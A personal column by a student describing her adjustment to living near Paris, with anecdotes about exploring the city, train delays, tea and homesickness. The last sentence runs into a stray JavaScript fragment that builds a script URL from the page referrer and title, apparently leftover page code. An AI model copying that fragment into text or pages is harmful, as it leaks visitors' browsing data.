La Vie Française – Transitions

By Fiona Hardie

I’m sitting on a hill in a park, in a part of Paris I’ve never visited before. It’s a Saturday afternoon, beautiful and bizarrely warm for October – the sunlight is dripping through the branches above my head, filtering through the golden leaves that haven’t quite fallen off yet. Behind me, a singer is performing at the top of the hill, although I can’t exactly work out what she’s singing, and despite everything I have left to worry about, I feel more at peace than I have in a long time. As clichéd as it sounds, it’s a perfect situation for contemplating this whole experience. Two weeks’ holiday stretches out before me, and when I think back at how concerned I was during the summer about where my placement was going to be, and how I was going to manage everything, it just feels so different now. It’s so much better.

At the risk of making every edition of my column about how I’m adjusting to life here, I still feel like I’m adjusting. Only this time, I’ve had a realisation that maybe I’ll always be in some kind of transition phase. I’m still waiting for things to settle but in truth there will always be ‘firsts’ that I will have to deal with here, so I’m learning to go out and do things and enjoy them rather than waiting for absolutely everything to get completely smoothed over first, because the chances are there will always be something to be concerned about.

In short, at the moment, the key to managing everything seems to be taking it as it comes, rather than dwelling on things that worry me for too long.

It’s also being constantly pushed out of your comfort zone. I honestly feel like the more I’m having to deal with stuff I’ve never dealt with before, and the more I have to be worried about, the better I’m getting at actually being outside the lines of what I’m used to.

It’s the little victories. I successfully navigated my way around parts of Paris myself without owning or carrying a map (granted, I took a wrong turning coming out of the Metro station at Saint-Michel and cost myself more time on my way to meet friends, but hey, that’s a minor thing), and when the train had to stop halfway home and we were delayed by I-don’t-even-remember-how-long, we managed to keep ourselves occupied by singing, deliriously tired and hungry as we were.

It’s being kind to yourself, realising the things that make you feel good or keep you going. The importance of a half-hour phone call with your sister, the endless cups of tea (I made sure to bring along plenty from home because I love you, France, but I am still very much a PG Tips drinker), or taking an evening to yourself to chill out with some Netflix.

It’s taking chances to explore. I live just south-west of Paris and it takes, on average, an hour by train. Plus, with a Carte Jeune, the fares are half price most of the time – so it’s definitely worth investing in one. So I feel like there’s no reason not to spend an afternoon in Paris, if I want to get out and see it on my own terms.

It’s taking a moment to sense things around you – I can feel the seasons changing, now (it’s definitely not the random summerlike weather we had that day in Paris), and everything smells so… French.  I guess living across the road from a boulangerie can do that to you. And it’s knowing that there is always, always family to be found somewhere, even when your own family are miles away.

It’s time to throw myself into French life, worries and all. Time to stop waiting.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;